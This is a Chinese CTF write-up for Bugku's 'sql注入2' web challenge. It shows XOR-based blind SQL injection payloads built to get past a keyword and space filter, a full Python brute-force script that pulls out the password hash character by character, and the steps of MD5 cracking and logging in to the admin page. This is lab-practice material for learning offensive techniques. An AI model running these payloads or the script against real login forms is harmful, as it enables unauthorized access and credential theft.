bugku-web-sql注入2

发现是一个经典的sql注入主界面~
bugku-web-sql注入2_第1张图片
题目一开始就提示说过全tm都过滤了,但还是跑跑字典看嘛
抓包 => 爆破如下

bugku-web-sql注入2_第2张图片
发现空格,逗号,注释,or,and等通通返回提示非法字符QAQ
但所幸^没有被过滤,于是尝试异或注入
构造payload(uname)如下
usera’^(length(database())=1)^'userb

解释一下为啥,猜测这样的payload能形成的sql语句应为
… where uname=‘usera’^(length(database())=1)^‘userb’ …

注意这里的^优先级高于=,且字符串在与bool类型进行异或时,会先强制类型转换为数字,如’233dktb’会转换为233,'usera’和’userb’无数字前缀,所以转化为0
于是payload等价于0^(length(database())=1)^0,当中间返回true时
达到uname=true效果,反之为uname=false效果

再注意一个点,因为这里是字符串类型的uname和bool做比较,所以uname=false能过所有的非数字前缀uname验证,此时页面回显password error,uname=true则回显username error(这估计是因为靶场数据库里没有数字前缀的uname吧)
bugku-web-sql注入2_第3张图片就这么成功爆出database()长度为3
接下来构造payload=usera’^(ascii(substr((database())from(1)))=99)^'userb
(Tips:本题for被过滤,因此采用省略for的方法拿到从指定位到结束位的字符串,又由于ascii函数的参数如果是个字符串,只返回第一个字符的ascii值,所以构造如上payload)
进一步爆破出database()每一位的ascii值
爆完库名,很自然的想接下来继续爆表名字段名拿flag
但是
但是
但是
我们悲催地发现过滤了or的同时,
information_schema也被ban了qaq
所以选择放弃这种做法(然后你告诉我上文全是废话???(狗头保命)

又想了贼久,猜测sql语句可能是 … where uname=$_POST[‘uname’] and passwd=$_POST[‘passwd’];
也就是说我们猜测数据库里的字段名也叫passwd
这样就可以在uname里构造payload来爆出passwd,从而成功登陆
懒得写了直接贴写的脚本

import requests

url = "http://123.206.87.240:8007/web2/login.php"
s = requests.session()
passwd_len = 1
while(1):
	uname = "ua'^(length(passwd)=" + str(passwd_len) + ")^'ub" 
 	# length()=true => uname=true => "username error!"
 	passwd = "nmdwsm"
	payload = {'uname':uname,'passwd':passwd}
 	r = s.post(url, data = payload)
 	r.encoding = r.apparent_encoding
 	if("username error!!" in r.text):
  		break
 	passwd_len += 1
print("Length of passwd:" + str(passwd_len))
key = ""
for i in range(1, passwd_len + 1):
	for value in range(32, 127):
		uname = "ua'^(ascii(substr((passwd)from(" + str(i) + ")))=" + str(value) + ")^'ub"
		passwd = "nmdwsm"
		payload = {'uname':uname,'passwd':passwd}
		r = s.post(url, data = payload)
		r.encoding = r.apparent_encoding
		#print(r.text)
		if("username error!!" in r.text):
   			key += chr(value)
   			break
print("Passwd:" + key)   		

bugku-web-sql注入2_第4张图片
拿到这玩意儿,因为一般mysql里存储passwd用md5,又发现它长度32,于是md5解密拿到password [admin123]

登陆进后台,页面如下
bugku-web-sql注入2_第5张图片
输入ls,拿到flag(液

感觉还是脑洞要大qaq
btw这题看了下别人的wp,发现还有种解法是源码泄露,这里就不写辣
希望大噶早日成为练习时长两年半的渗透测试练习生(不是

你可能感兴趣的:(CTF)